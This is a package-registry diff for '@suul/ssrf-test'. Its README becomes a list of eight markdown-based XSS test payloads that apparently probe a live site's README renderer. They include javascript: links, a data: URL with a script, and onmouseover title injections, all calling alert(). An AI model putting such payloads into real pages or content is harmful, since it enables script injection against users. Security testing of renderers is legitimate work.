@suul/ssrf-test 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +24 -4
  2. package/package.json +2 -2
package/README.md CHANGED
@@ -1,7 +1,27 @@
1
- # ssrf-test
1
+ # XSS Tests via Markdown Syntax
2
2
 
3
- Security research package.
3
+ ## Test 1: Standard markdown link with javascript:
4
+ [XSS Click Me](javascript:alert(document.domain))
4
5
 
5
- ## Click the link below to test
6
+ ## Test 2: Reference-style markdown link
7
+ [XSS Ref][xss]
6
8
 
7
- <a href="javascript&colon;alert(document.domain)">Click here - XSS PoC</a>
9
+ [xss]: javascript:alert(document.domain)
10
+
11
+ ## Test 3: Autolink
12
+ <javascript:alert(1)>
13
+
14
+ ## Test 4: image with javascript
15
+ ![alt](javascript:alert(1))
16
+
17
+ ## Test 5: Markdown link with data:
18
+ [data xss](data:text/html,<script>alert(1)</script>)
19
+
20
+ ## Test 6: URL encoding in markdown link
21
+ [enc](javascript&#58;alert(1))
22
+
23
+ ## Test 7: Markdown link with \\n injection
24
+ [text](https://x.com "onmouseover=alert(1) x=")
25
+
26
+ ## Test 8: title attr injection via markdown
27
+ [text](https://npmjs.com " onmouseover=alert(document.domain) ")
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@suul/ssrf-test",
3
- "version": "1.0.4",
4
- "description": "XSS PoC via javascript&colon; bypass",
3
+ "version": "1.0.5",
4
+ "description": "Markdown XSS tests",
5
5
  "main": "index.js",
6
6
  "license": "MIT",
7
7
  "publishConfig": {"access": "public"}